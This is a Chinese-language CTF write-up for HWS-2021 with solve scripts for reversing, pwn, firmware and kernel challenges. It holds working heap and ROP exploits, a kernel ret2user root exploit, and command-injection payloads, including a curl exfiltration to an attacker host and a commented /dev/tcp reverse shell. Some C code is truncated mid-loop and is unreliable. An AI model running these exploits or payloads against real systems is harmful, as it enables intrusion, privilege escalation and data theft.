HWS-2021部分题解

RE

obfu

将输入的字符串转化为16进制后存储。
((input[(i+15) % 16] << 5) & 0xE0) | ((input[i % 16] >> 3) & 0x1F) -> input1
input1作为明文,admin_sha256前16字节作为key,rc4加密 -> enc_res
enc_res作为明文,admin_sha256前16字节作为key, AES_decrypt,得到的结果再与admin_sha256后16字节逐字节异或 -> out
out 与 admin_md5 进行 memcmp。
大致的流程就是这样,反过来解密就行。
解密脚本如下:

#coding:utf-8
from Crypto.Cipher import ARC4, AES
from binascii import b2a_hex, a2b_hex
import hashlib
admin_sha256 = '\x8c\x69\x76\xe5\xb5\x41\x04\x15\xbd\xe9\x08\xbd\x4d\xee\x15\xdf\xb1\x67\xa9\xc8\x73\xfc\x4b\xb8\xa8\x1f\x6f\x2a\xb4\x48\xa9\x18'
admin_sha256_or = '\x8C\xE5\x1F\x93\x50\xF4\x45\x11\xA8\x54\xE1\xB5\xF0\xA3\xFB\xCA\x6E\xD6\xCE\x61\xBB\x8F\xB7\xF3\x10\xB7\x70\x45\x9E\xFC\xE1\xB1'
admin_sha256_b16 = admin_sha256_or[0:16]
admin_sha256_h16 = admin_sha256_or[16:]
def RC4_encrypt(key, content):
    rc41 = ARC4.new(key)
    encrypted = rc41.encrypt(content)
    return encrypted
def RC4_decrypt(key, enc):
    rc41 = ARC4.new(key)
    data = rc41.decrypt(enc)
    return data
def Pad(b):
    # PKCS5
    BLOCK_SIZE = 16
    pad = lambda s: (s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE))
    raw = pad(str(b))
    return raw
def pkcs7padding(text):
    """明文使用PKCS7填充 """
    bs = 16
    length = len(text)
    bytes_length = len(text)
    padding_size = length if (bytes_length == length) else bytes_length
    padding = bs - padding_size % bs
    padding_text = chr(padding) * padding
    return text + padding_text
def AES_encrypt(key, content):
    aes = AES.new(key)
    encrypted = aes.encrypt((content))
    return encrypted
def AES_decrypt(key, enc):
    aes = AES.new(key)
    data = aes.decrypt(enc)
    return data
md5_admin = '\x21\x23\x2f\x29\x7a\x57\xa5\xa7\x43\x89\x4a\x0e\x4a\x80\x1f\xc3'
or_md5_admin = ''
for i in range(len(md5_admin)):
    or_md5_admin += chr((ord(md5_admin[i]) ^ ord(admin_sha256_h16[i])) & 0xff)
enc_res = AES_encrypt(admin_sha256_b16, or_md5_admin)
input1 = RC4_decrypt(admin_sha256_b16, enc_res)
print(input1.encode('hex'))
input = ''
for i in range(len(input1)):
    input += chr(((ord(input1[i % 16]) & 0x1f) << 3) | ((ord(input1[(i+1) % 16]) & 0xe0) >> 5))
print(input.encode('hex')) 

decryption

加密逻辑很简单,一看就会。直接爆破就完事了。

#include 
#include 
char encrypt(char flag_char, char idx)
{
    char result;
    char v3;
    do
    {
        v3 = 2 * (idx & flag_char);
        flag_char ^= idx;
         idx = v3;
    }
    while ( v3 );
    result = flag_char ^ 0x23;
    
    return result;
}
int main()
{
    char enc[50] = "\x12\x45\x10\x47\x19\x49\x49\x49\x1A\x4F\x1C\x1E\x52\x66\x1D\x52\x66\x67\x68\x67\x65\x6F\x5F\x59\x58\x5E\x6D\x70\xA1\x6E\x70\xA3";
    char msg[100] = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    char flag[50] = "0";
    char tmp, idx, out, chr;
    char i;
    
    for(idx = 0; idx < 32; idx ++)
    {
        for(i=0; i

babyre

似乎有个用户态的内核交互函数,不是太看得懂,全程OD动调。
ZwSetInformationThread反调试,od直接过掉不执行
发现程序动态展开了一段空间,解密逻辑在这里面。
用od把这段空间dump下来,OEP懒得找,直接设置成解密函数地址。dump下来用IDA逆向,发现是SM4加密,"Ez_5M4_C1pH@r!!!"为密钥。网上找了个SM4解密程序,解一下就有flag。
https://blog.csdn.net/jiujiederoushan/article/details/100122773

// Ez_5M4_C1pH@r!!! -> 457a5f354d345f433170484072212121
// part1: EA6358B78CE2A1E9C5298F53E8083259  34326230363162346362343163666138
// part2: AF1B67AED9DACFC472FFB1EC7673F306  39636137383034376264653138353665
// flag: 42b061b4cb41cfa89ca78047bde1856e

PWN

ememarm

off by null
可以分配0x20 / 0x30的chunk, 利用off by null来修改tcache链,任意地址分配。
盲猜远程是qemu起的,qemu起的话地址是不变的。但是和我本地的地址不一样,靠修改got表泄露出了libc基地址的低3位。有了这个直接把free@got改成system就完事了。

#coding:utf-8
from pwn import *
context.log_level = 'debug'
def start(content):
    p.sendafter('~~4268144\n', str(content))
def request(size, cx, cy, flag):
    if size == 0x20:
        p.sendlineafter('choice', str(1))
    else:
        p.sendlineafter('choice', str(4))
    p.sendafter('cx', str(cx))
    p.sendafter('cy', str(cy))
    p.sendlineafter('delete?', str(flag))
def edit(index, content):
    p.sendlineafter('choice', str(3))
    p.sendline(str(index))
    p.send(str(content))
def out():
    p.sendlineafter('choice', str(5))
debug = 0
# if debug == 0:
#     p = process(['qemu-aarch64-static','-L','.','./ememarm'])
# else:
#     p = process(['qemu-aarch64-static','-L','.','-g','1234','./ememarm'])
p = remote('183.129.189.60', 10034)
        
libc_base = 0x400084c000
system = libc_base + 0x3F2C8
free_hook = libc_base + 0x156630
puts_plt = 0x400740
        
payload = '/bin/sh'.ljust(0x10, '\x00')
start(payload)
        
request(0x30, 0, 0x41, 1) # 0
request(0x20, 0, 0x31, 1) # 1
request(0x20, 0, 0x31, 1) # 2 -> board
request(0x20, 0, 0x31, 1) # 3
        
edit(3, '\x00'*0x8+'\x31'.ljust(0x10,'\x00'))
edit(3, p64(0x412030))
        
request(0x20, 0, 0x31, 0)
request(0x20, '\x40', '\xc8\xf2\x86', 1) # free@got
        
# edit(3, '\x00')  # leak
out()
p.sendline('cat flag')
flag = p.recvuntil('\n', timeout=2)
print(flag)
        
p.interactive()

emarm

任意地址写,在ememarm中已经知道了libc基地址低3位,直接把system函数地址低3位拿过来把atoi@got改掉就完事了(ememarm第一天放,这题是第二天放的,直接把地址拿过来用了2333)

#coding:utf-8
from pwn import *
context.log_level = 'debug'
debug = 0
# if debug == 0:
#     p = process(['qemu-aarch64-static','-L','.','./emarm'])
# else:
#     p = process(['qemu-aarch64-static','-L','.','-g','1234','./emarm'])
atoi_got = '4268064'
p = remote('183.129.189.60', 10012)
p.sendlineafter('passwd:\n', '\x001')
p.send(atoi_got)
p.sendafter('success', '\xc8\xf2\x86')
p.sendlineafter(' bye\n', 'sh')
p.interactive()

justcode

四次机会,前两次分别泄露libc,stack,第三次写入地址got,第四次往got表写入csu_gadget来ROP

#coding:utf-8
from pwn import *
context.log_level = 'debug'
def sendCode(code):
    for i in code:
        p.sendline(str(i))
def edit(id):
    p.sendlineafter("id:", str(int(id)))
def add(name):
    p.sendafter('name:', str(name))
    # sleep(0.1)
csu_gadget1 = 0x400EA0 #0x400E9A
elf = ELF('./justcode')
libc = ELF('./libc-2.23.so')
# p = process('./justcode', env={'LD_PRELOAD':'./libc-2.23.so'})
p = remote('183.129.189.60', 10041)

sendCode([1, 1, 1, 2])
add('a'*8)
p.recvuntil('a'*8)
libc_code = u64(p.recvuntil('\x0a', drop=True)[-6:].ljust(8,'\x00')) - 0x7b60e -0x10
print('-----libc:', hex(libc_code))
pop_rdi_ret = libc_code + 0x21112#0x0000000000021102 # 0x21112
pop_rsi_ret = libc_code + 0x202f8#0x00000000000202e8 # 0x202f8
pop_rdx_ret = libc_code + 0x0000000000001b92
pop_rdx_rsi_ret = libc_code + 0x115189#0x00000000001150c9 # 0x115189
ret = libc_code + 0x0000000000000937
pop_rax_ret = libc_code + 0x000000000003a738#0x0000000000033544 # 0x000000000003a738
pop_rdi_rbp_ret = libc_code + 0x000000000002026b#0x0000000000020256 # 0x000000000002026b

add('a'*0x28)
p.recvuntil('a'*0x28)
ret = u64(p.recvuntil('\x0a', drop=True)[-6:].ljust(8,'\x00')) - 0x40 + 8
print('-----ret:', hex(ret))
# fd = open("flag", O_RDONLY)
# read(fd, store, 0x50)
# write(1, store, 0x50)
flag = ret - 0x18
rop = p64(pop_rdi_ret)+p64(flag) + p64(pop_rsi_ret)+p64(0) + p64(libc_code+libc.sym['open'])
rop += p64(pop_rdi_ret)+p64(3) + p64(pop_rdx_rsi_ret)+p64(0x50)+p64(0x6020e0) + p64(libc_code+libc.sym['read'])
rop += p64(pop_rdi_ret)+p64(1) + p64(libc_code+libc.sym['write'])
rop += 'flag\x00'
print(hex(len(rop)))
add(p64(pop_rax_ret)+p32(elf.got['puts'])*2 + rop)
edit(pop_rdi_ret & 0xffffffff)

p.interactive()

undlcv

令人很想吐槽的一道题
off_by_null
修改prev_size并且利用off_by_null 修改下一个chunk的PREV_INUSE标志位,unlink,将bss段上存储第一个chunk地址改为它本身-0x18.
这时还剩下三次edit的机会。一次修改bss段上的数据并且填充虚假的dl-resolve时用到的信息,第二次修改.dynamic里的DT_STRTAB / DT_SYMTAB里的信息,最后一次修改got表,让程序执行这个函数的时候进入dl-resolve流程,重定位到system函数。
令人吐槽的点来了,pwn进去了以后flag是root才能读的???后来才知道这里要用CVE-2019-14287 SUDO提权。。。

#coding:utf-8
from pwn import *
context.log_level = 'debug'

def add(index):
    p.send('1'.ljust(0xa, '\x00'))
    p.send(str(index).ljust(0xa, '\x00'))

def edit(index, content):
    p.send('2'.ljust(0xa, '\x00'))
    p.send(str(index).ljust(0xa, '\x00'))
    p.send(str(content))
    sleep(0.1)

def delete(index):
    p.send('3'.ljust(0xa, '\x00'))
    p.send(str(index).ljust(0xa, '\x00'))

def magic():
    p.send('4'.ljust(0xa, '\x00'))

magic_malloc = 0x4014E1
free = 0x40145C
malloc = 0x04012C9
read = 0x401390
memset = 0x401222 

malloc_addr = 0x403480
fake_fd = malloc_addr - 8*3
fake_bk = malloc_addr - 8*2
pop_rdi_ret = 0x0000000000401613
pop_rsi_r15_ret = 0x0000000000401611
ret = 0x000000000040101a

p = 0

def exploit():
    global p
    elf = ELF('./undlcv')
    p = process('./undlcv')
    # p = remote('183.129.189.60', 10013)


    add(0)
    add(1)
    edit(0, p64(0)+p64(0xf1)+p64(fake_fd)+p64(fake_bk)+'\x00'*0xd0 + p64(0xf0))
    delete(1)


    
    offset = 0
    fake_symtab = p32(offset) + p32(0x12) + p32(0)*4  # 0x18 0x403490
    fake_strtab = 'system\x00'
    edit(0, (p64(0)*3+p64(elf.got['atoi'])+p64(0x04032A0) + fake_symtab + fake_strtab).ljust(0xf8))
    
    
    p.send('2'.ljust(0xa, '\x00'))
    p.send(str(1).ljust(0xa, '\x00'))
    p.send(p64(0x5)+p64(0x403490 + len(fake_symtab)) + p64(0x6)+p64(0x403490 - 0x18))
    sleep(0.1)

    p.send('2'.ljust(0xa, '\x00'))
    p.send(str(0).ljust(0xa, '\x00'))
    p.send(p64(0x401030))
    sleep(0.1)
    
    # gdb.attach(p,'b*{}'.format(0x40124E)) 
    p.send('/bin/sh')

    p.interactive()

if __name__ == '__main__':
    exploit()

固件

NodeMce

strings 直接出

easymsg

个人感觉槽点超鸡多的一道题
arm架构,没给libc,ok, fine,自己apt装一个问题不大
逆向,逻辑挺清楚,一看就会,为了方便调试patch改了pthread和网卡名字
ifconfig指令获得MAC地址
readFile指令把config.dat弄过来,我感觉出题人应该是想弄个像路由器配置文件泄露一样,但这题没有任何背景,强行弄上去只会让人感到无厘头。
CVE-2019-19822, 找了个网站获得解密程序,https://sploit.tech/2019/12/16/Realtek-TOTOLINK.html,config.dat泄露出账号密码
登陆,命令注入执行即可
本来以为当前目录下就有flag,ls了一下发现flag是 /flagG1zjin
脚本如下

import zlib
from pwn import *
import base64

class Msg():
    def __init__(self, choice, content, ip, port):
        self.magic = 'HwsDDW'
        self.crc = self.cal_crc32(content)
        self.msg_len = 0x101
        self.choice = choice
        self.ip = ip
        self.port = port
        msg = self.magic
        msg += chr((self.msg_len >> 8) & 0xff) + chr(self.msg_len & 0xff)
        msg += chr((self.choice >> 8) & 0xff) + chr(self.choice & 0xff)
        msg += chr(self.crc >> 24) + chr((self.crc >> 16) & 0xff) + chr((self.crc >> 8) & 0xff) + chr((self.crc) & 0xff)
        msg += content
        self.msg = msg
    def cal_crc32(self, s):
        return zlib.crc32(str(s)) & 0xffffffff
    def send(self):
        p = remote(self.ip, self.port)
        context.log_level = 'debug'
        p.send(self.msg)
        ret = ''
        try:
            while True:
                tmp = p.recv(1024)
                if len(tmp) == 0:
                    break
                ret += tmp
        except:
            pass
        p.close()
        return ret
# 183.129.189.60 10016
# /home/messageBox/messageBox
remote_ip = '183.129.189.60'
remote_port = 10016
# get mac
info = base64.b64decode(Msg(0x102, 'ifconfig:'.ljust(0x101, '\x00'), remote_ip, remote_port).send())
info = info[info.index('tap'):]
info = info[info.index('ether ')+6:info.index('ether ')+6+17]
print(info)
mac = ''
for i in range(len(info)):
    if info[i] != ':':
        mac += str(info[i].upper())
print(mac)
# get config.dat
# cmd = 'readFile:./config.dat'
# msg = Msg(0x102, cmd.ljust(0x101, '\x00'), remote_ip, remote_port)
# data = base64.b64decode(msg.send())
# with open('config.dat', 'wb') as f:
#     f.write(data)

# login
msg = Msg(0x102, 'setSystemParam:user:admin\npassword:alexandr1s'.ljust(0x101, '\x00'), remote_ip, remote_port)
msg.send()
# leaveName
cmd = 'leaveName:'+str(mac)+':a";echo `cat /flagG1zjin` > /tmp/out;echo "Fuck'
print(Msg(0x102, cmd.ljust(0x101, '\x00'), remote_ip, remote_port).send())
# read flag
cmd = 'readFile:/tmp/out'
msg = Msg(0x102, cmd.ljust(0x101, '\x00'), remote_ip, remote_port)
print(base64.b64decode(msg.send()))

STM

stm32单片机的bin文件
https://www.cnblogs.com/panda-w/p/11548121.html
参考这个来反汇编
STM32存储空间布局:https://blog.csdn.net/kevinhg/article/details/45599485
根据存储空间调整下基地址,识别一下代码逆一下就行, 就是一个简单的异或 (如果有板子的话刷上去直接就有flag了)

enc = [0x7D,0x77,0x40,0x7A,0x66,0x30,0x2A,0x2F,0x28,0x40,0x7E,0x30,0x33,0x34,0x2C,0x2E,0x2B,0x28,0x34,0x30,0x30,0x7C,0x41,0x34,0x28,0x33,0x7E,0x30,0x34,0x33,0x33,0x30,0x7E,0x2F,0x31,0x2A,0x41,0x7F,0x2F,0x28,0x2E,0x64]
flag = ''
for i in enc:
  flag += chr((i ^ 0x1e)+3)
print(flag)
# flag{1749ac10-5389-11eb-90c1-001c427bd493}

PPPPPPC

PowerPc架构的pwn
栈溢出,写入shellcode,会将写入的内容strcpy到bss段,不熟悉PowerPc汇编,一直卡在怎么让shellcode没有零字节。
后来还是放弃绕过零字节
利用出错会将寄存器打印出来以及qemu栈地址不变,将远程栈地址弄到手,直接ret到栈上的shellcode

#coding:utf-8
from pwn import *
context(log_level = 'debug', arch='PowerPc', os='linux')
elf = ELF('./PPPPPPC')
port = '1234'
local = 0
debug = 1
if local:
    if debug:
        p = process(argv=['./qemu-ppc-static','-g',port,'./PPPPPPC'])
    else:
        p = process(argv=['./qemu-ppc-static','./PPPPPPC'])
else:
    p = remote('183.129.189.60',10039)
stack = 0x100B3390
# stack = 0xf6ffed70 - 0x138 + 8
stack = 0xf6fffbf0 - 0x138 + 8
shellcode = '7c631a783c60100b386333907c8422787ca52a787c8023787c86237838c6011768c6011c7cc0337844000002'.decode('hex')

'''
xor 3,3,3   
lis 3, 0x100B
addi 3, 3, 0x3390
xor 4,4,4
xor 5,5,5
mr 0, 4
mr 6, 4
addi 6, 6, 0x117
xori 6, 6, 0x11c
mr 0, 6
sc
'''

payload = ('/bin/sh\x00'+shellcode).ljust(0x138,'\x01')+p32(0) + p32(stack)
p.sendlineafter('name:', payload)
p.interactive()

httpd

给了个Boa/0.94.14rc21
没给boa.conf,什么都没给,就给了个可执行文件,还得自己去官网下源码从example中复制过来。。。
大致对比下源码,用下功能,发现多加了个登陆功能,通过查找字符串找到验证登陆的地址。
发现当密码为Http-Server时有个命令注入漏洞。
登陆函数主要需要注意*(a1+104), *(a1+108)
查找字符串往上发现,*(a1+104)为REFERER字段,*(a1+108)为Authorization
验证Authorization字段,格式为Basic+空格+base64encode("user:password")
REFERER字段命令注入。
通过curl自己服务器,查看access.log来带出flag
flag不在当前路径,find一下或者ls | awk '{print $1}' | sed -n '2p' 来查找都随意。
最后flag在 /home/httpd/flag.txt

#coding:utf-8
from pwn import *
context.log_level = 'debug'
# qemu elf base -> 0xfffb9000
payload = '''GET / HTTP/1.1\r
Host: 183.129.189.60:10038\r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r
Accept-Encoding: gzip, deflate\r
Connection: close\r
Cookie: platform=0\r
Upgrade-Insecure-Requests: 1\r
Authorization: Basic cm9vdDpIdHRwLVNlcnZlcg==\r
REFERER: 'a' > /tmp/out; curl http://xxx.xxx.xxx.xxx/`cat /home/httpd/flag.txt`;echo a\r
\r
'''
# bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/10003 0>&1
# curl http://xxx.xxx.xxx.xxx/`find /hm -name "*fla*"`
# ls | awk '{print $1}' | sed -n '1p'
def recvmsg(p):
    msg = ''
    try:
        while True:
            tmp = p.recv(1024)
            if len(tmp) == 0:
                break
            msg += tmp
    except Exception as e:
        print(e)
    finally:
        pass
    return msg
for i in range(2):
    p = remote('183.129.189.60', 10038)
    # p = remote('127.0.0.1', 6259)
    
    p.send(payload)
    msg = recvmsg(p)
    print(msg)
    
    p.close()

blinkblink

给了一个路由器的固件,binwalk直接可解
解出来后,进etc_ro路径看看rcS启动文件,发现自启动了一个goahead的程序,这个路由器使用goahead作为web服务器。
吃亏在没了解过goahead,一般而言路由器漏洞更多出现在二次开发上,因此我直奔cgi-bin去看,结果发现需要身份认证才能访问cgi-bin。
特别感谢lxonz师傅,赛后向师傅询问了下解法,才知道goahead还有goform这个东西,在师傅的帮助下发现在main函数里面还有个formDefineCGIjson()函数,里面定义了开发者自定义的处理函数。

1.png

这里面有个set_cmd字段十分引人注意,逆向分析测试一下就能发现这个函数能够任意命令执行。
2.png

easyBios

同样是赛后复现的,参考链接:https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247493687&idx=1&sn=61dc031b706b9f430fbedb521ec9e485&chksm=e89dc0efdfea49f9e76940b10b9814da995d91ab6f35b2b86c9d2173dcff644e09d4b6cf6fe8&mpshare=1&scene=23&srcid=0204FDbwTy89AJ21x9NDUrWw&sharer_sharetime=1612397911458&sharer_shareid=8629bdafe886ed7f78e7c080c70b849d#rd

这里重点写下如何将需要的PE文件提取出来。

运行,出现getflag

1.png

binwalk -Me easybios 看看
2.png

发现了很多PE文件
提取这些PE文件可以参考https://www.52pojie.cn/thread-995219-1-1.html,使用uefi-firmware-parser工具来提取,但这个工具提取出来文件太多不好辩认,这里不用这个工具。

binwalk并不会自动将这个多PE文件分开来,而是合在了一起,名字叫840A8,把这个文件拖到winhex,直接搜索Wrong字符串,注意这里要选择Unicode格式(比赛时用grep直接搜"Wrong"就死活没搜到),最终确定在偏移0x37F1B0处。结合binwalk刚刚分析的结果使用dd将PE文件提取出来。dd if=840A8 of=out skip=xxx count=xxx bs=1

提取出来后放入IDA分析即可。


3.png

要求输入32个0-f的字符,并将str转化为hex
最后进行加密
加密逻辑很简单,就是16个输入的数字和16个固定的数字进行异或。这16个固定的数字可以用qemu+gdb直接调试出来,也可以自己根据逻辑写个程序算一下。

两种方法都来了一下,下面是解题程序
qemu+gdb直接把数字调试出来:

enc = "\x46\x77\x74\xB0\x27\x8E\x8F\x5B\xE9\xD8\x46\x9C\x72\xE7\x2F\x5E"
a = "\xce\xcd\x98\xbb\x76\xda\x77\x02\x5c\x5d\x56\x0b\xc9\xb1\x50\x02"
flag = ''

for i in range(len(a)):
    flag += chr(ord(enc[i]) ^ ord(a[i]))

print(flag.encode('hex'))

# flag: 88baec0b5154f859b5851097bb567f5c

自己写程序算一下:

#include 

char ovmf[0x500] = "OVMF_And_Easy_Bios";
char enc[0x500] = "\x46\x77\x74\xB0\x27\x8E\x8F\x5B\xE9\xD8\x46\x9C\x72\xE7\x2F\x5E";

int main()
{
  int i, v6, v7, v8, v9;
  int v17[0x500];
  for ( i = 0; i != 256; ++i )
  {
    v17[i] = i;
    v17[i + 256] = ovmf[(int)i % 18];
  }
  v6 = 0;
  v7 = 0;
  do
  {
    v8 = v17[v6];
    v7 = (v17[v6 + 256] + v8 + v7) % 256;
    v9 = v17[v7];
    v17[v7] = v8;
    v17[v6++] = v9;
  }
  while ( v6 != 256 );
  int v10 = 0;
  int v11 = 0;
  int v12 = 0;
  int v13, v14, v15, result;
  do
  {
    v12 = (unsigned char)(v12 + 1);
    v13 = v17[v12];
    v14 = (v13 + v11) % 256;
    v15 = v17[v14];
    v17[v14] = v13;
    v11 = (v13 + v11) % 256;
    v17[v12] = v15;
    result = (unsigned int)v17[(v15 + v17[v14]) % 256];
    enc[v10++] ^= result;
  }
  while ( v10 != 16 );

  for(int i=0; i<16; i++)
  {
    printf("%02hhx", enc[i]);
  }
}

Kernel

dd_kernel

copy_from_user(void *to, const void __user *from, unsigned long n)
可以看到copy_from_user 中 n的类型为 unsigned long , 但是这个驱动里只对n低8bit数字大小进行了比较。让n == 0x101即可绕过检查。之后就是内核的栈溢出了。SMEP / SMAP啥的保护都没有开,直接ret2user就完事了

//64bits
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
uint64_t (*commit_creds)(uint64_t kernel) = (uint64_t)0xffffffff8105d235;
uint64_t (*prepare_kernel_cred)(uint64_t kernel) = (uint64_t)0xffffffff8105d157;
uint64_t (*dou_stack_base)(uint64_t kernel) = (uint64_t)0xffffffffa0000000;
struct trap_frame{
    void *rip;
    uint64_t cs;
    uint64_t rflags;
    void * rsp;
    uint64_t ss;
}__attribute__((packed));    // 保存状态的结构体
struct trap_frame status;     // 保存状态
void templine()
{
    commit_creds(prepare_kernel_cred(0));
    asm(
        "swapgs\n"
        "mov $status,%rsp\n"
        "iretq"
        );
}
void shell()
{
    printf("[*] Get Root Shell!\n");
    system("/bin/sh");
}
void save()                  // 将状态保存在status中
{
    asm(
        "mov %%ss, %0\n"
        "mov %%rsp, %1\n"
        "pushfq\n"
        "pop %2\n"
        "mov %%cs, %3\n"
        :"=r"(status.ss),"=r"(status.rsp),"=r"(status.rflags),"=r"(status.cs)
        :
        :"memory"
        );
    status.rip = shell;
}
// procfile_read -> ffffffffa000006d
// procfile_write -> ffffffffa0000000
int main()
{
    uint64_t rop[0x50];
    save();
    int fd = open("/proc/doudou", O_RDWR);
    if(fd <= 0)
    {
        err(1, "open device");
    }
    
    rop[0] = rop[1] = 0;
    rop[2] = (uint64_t)templine;
    write(fd, rop, 0x100);
    
}

easy_kernel

windows内核驱动逆向
xp 虚拟机+virtualkd+windbg+ollydbg调试
先是DES加密,密钥为"}aglf_T_",逻辑在驱动程序里
DES加密完毕后,ollydbg调一下发现跳入了0x401080, 进行了错位异或操作
逆一下就行了

#coding:utf-8
# ee7b5d18  7d 61 67 6c 66 5f 54 5f-73 0e dc 19 44 5d 7b ee  }aglf_T_s...D]{.
# ee7b5d28  66 e3 89 f7 5c ff 12 00-80 a3 42 00 38 ff 12 00  f...\.....B.8...
# ee7b5c18  2c 2d 3b 2c 24 3b 06 0b-08 07 39 2c 1f 34 16 03  ,-;,$;....9,.4..
# ee7b5c28  07 35 39 19 04 37 34 07-0f 28 15 31 2d 0a 34 2f  .59..74..(.1-.4/
# 0012ff38  49 fb 35 4a 31 9e e3 85-49 fb 35 4a 31 9e e3 85  I.5J1...I.5J1...
# 0012ff48  49 fb 35 4a 31 9e e3 85-49 fb 35 4a 31 9e e3 85  I.5J1...I.5J1...

from Crypto.Cipher import DES
import hashlib
def encrypt_des(cipher):
    if cipher is None:
      return ""
    try:
        key = '}aglf_T_'
        # ECB方式
        generator = DES.new(key, DES.MODE_ECB)
        # 非8整数倍明文补位
        pad = 8 - len(cipher) % 8
        pad_str = ""
        for i in range(pad):
            pad_str = pad_str + chr(pad)
        # 加密
        encrypted = generator.encrypt(cipher + pad_str)
        return encrypted
    except Exception, e:
        print Exception, ":", e
        return ""
def decrypt_des(cipher):
    if cipher is None:
      return ""
    try:
        key = '}aglf_T_'
        # ECB方式
        generator = DES.new(key, DES.MODE_ECB)
        decrypted = generator.decrypt(cipher)
        return decrypted
    except Exception, e:
        print Exception, ":", e
        return ""
# def xor_encrypt(enc):
#   result = ''
#   for i in range(31):
#     result += chr(ord(enc[i]) ^ ord(enc[i+1]))
#   result += enc[31]
#   print(result.encode('hex'))
#   return result
enc = "\xB2\xC4\x86\xD5\x54\x6C\x38\xAD\xBD\x69\xD4\xE9\x44\x47\x36\x21\x99\x91\xFB\x13\x70\xD8\x6B\xE4\x80\x12\xE2\x43\x2A\x4B\x49\x8E"
rev = ''
rev += '\x8E'
for i in range(-2, -33, -1):
  rev += chr((ord(enc[i]) ^ ord(rev[abs(i)-2])) & 0xff)
rev = rev[::-1]
flag = decrypt_des(rev)
print(flag)
print(hashlib.md5('flag{WelcOme_to_kerne1_world!}').hexdigest())

你可能感兴趣的:(HWS-2021部分题解)